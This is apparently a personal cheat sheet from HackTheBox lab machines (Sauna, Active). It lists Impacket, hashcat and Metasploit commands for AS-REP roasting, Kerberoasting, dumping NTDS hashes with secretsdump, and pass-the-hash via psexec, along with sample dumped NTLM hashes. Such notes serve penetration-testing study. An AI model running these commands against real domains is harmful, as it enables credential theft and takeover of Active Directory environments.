

IMPACKET

GetNPUsers : gets hashes of users from list

./GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile userguess.txt -format hashcat
-outputfile hashes.asreproast -debug -dc-ip 10.10.10.175

hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt
hashcat -m 18200 --force -a 0 hashes.asreproast /usr/share/wordlists/rockyou.txt --show

GetADUsers : gets list of active directory users

GetADUsers.py -all -dc-ip <ip> <domain>/<user>
GetADUsers.py -all -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/fsmith
GetADUsers.py -all -dc-ip 10.10.10.100 active.htb/svc_tgs

GetUsersSPNs : kerbroastable users

GetUsersSPNs.py -request -dc-ip 10.10.10.100 active.htb/svc_tgs
copy hash to file
hashcat -m 13100 file rockyou.txt
psexec.py active.htb/Administrator@10.10.10.100

Secretdump : dumps all users hashed secret from ntds

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 -hashes lmhash:nthash -ntds ntds -history
-just-dc-ntlm

```
root@kali:~# impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 -ntds ntds -history -just-dc-ntlm
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e406e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith_history0:1105:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNAS:1000:aad3b435b51404eeaad3b435b51404ee:3c12c69930c6e6e40205a0283703c573:::
[*] Cleaning up...
```

another way in from meterpreter shell : run post/windows/gather/hashdump

To use any hash u get without cracking it

use exploit/windows/smb/psexec

Follow this link to pass the hash

<https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/>